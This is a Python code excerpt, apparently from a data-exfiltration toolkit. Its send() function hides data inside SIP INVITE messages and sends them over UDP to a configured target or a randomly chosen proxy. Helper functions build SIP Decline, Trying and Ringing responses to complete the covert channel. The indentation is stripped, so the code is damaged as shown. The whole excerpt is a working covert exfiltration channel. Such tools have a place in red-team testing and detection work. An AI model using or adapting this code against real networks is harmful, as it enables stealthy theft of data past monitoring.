def send(data):
if config.has_key('proxies') and config['proxies'] != [""]:
targets = [config['target']] + config['proxies']
target = choice(targets)
else:
target = config['target']
port = config['port']
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', port))
dialog = SIPDialog()
laddr = socket.gethostbyname(socket.getfqdn())
uac = UserAgent(caller, laddr, port=port)
uas = UserAgent(callee, target, port=port)
invite = dialog.invite(uac, uas, data)
app_exfiltrate.log_message(
'info', "[sip] Sending {0} bytes to {1}".format(len(data), target))
sock.sendto(invite.pack(), (target, port))
while True:
try:
recv_data, addr = sock.recvfrom(65535)
response = sip.Response()
response.unpack(recv_data)
if response.reason == 'Decline':
ack = dialog.ack(response)
sock.sendto(ack.pack(), (target, port))
sock.close()
break
else:
continue
except:
pass
break
def decline(self, invite):
packet = sip.Response()
packet.status = '603'
packet.reason = 'Decline'
packet.headers['From'] = invite.headers['from']
packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(
self.uac.tag)
packet.headers['Call-ID'] = invite.headers['call-id']
packet.headers['CSeq'] = invite.headers['cseq']
packet.headers['User-Agent'] = self.uac.user_agent
packet.headers['Content-Length'] = '0'
return packet
def trying(self, invite):
packet = sip.Response()
packet.status = '100'
packet.reason = 'Trying'
packet.headers['Via'] = invite.headers['via']
packet.headers['From'] = invite.headers['from']
packet.headers['To'] = invite.headers['to']
packet.headers['Call-ID'] = invite.headers['call-id']
packet.headers['CSeq'] = invite.headers['cseq']
packet.headers['User-Agent'] = self.uac.user_agent
packet.headers['Content-Length'] = '0'
return packet
def ringing(self, invite):
packet = sip.Response()
packet.status = '180'
packet.reason = 'Ringing'
packet.headers['Via'] = invite.headers['via']
packet.headers['From'] = invite.headers['from']
packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(
self.uac.tag)
packet.headers['Call-ID'] = invite.headers['call-id']
packet.headers['CSeq'] = invite.headers['cseq']
packet.headers['Contact'] = '<sip:{}@{}>'.format(
self.uac.alias, self.uac.ip)
packet.headers['User-Agent'] = self.uac.user_agent
packet.headers['Content-Length'] = '0'
return packet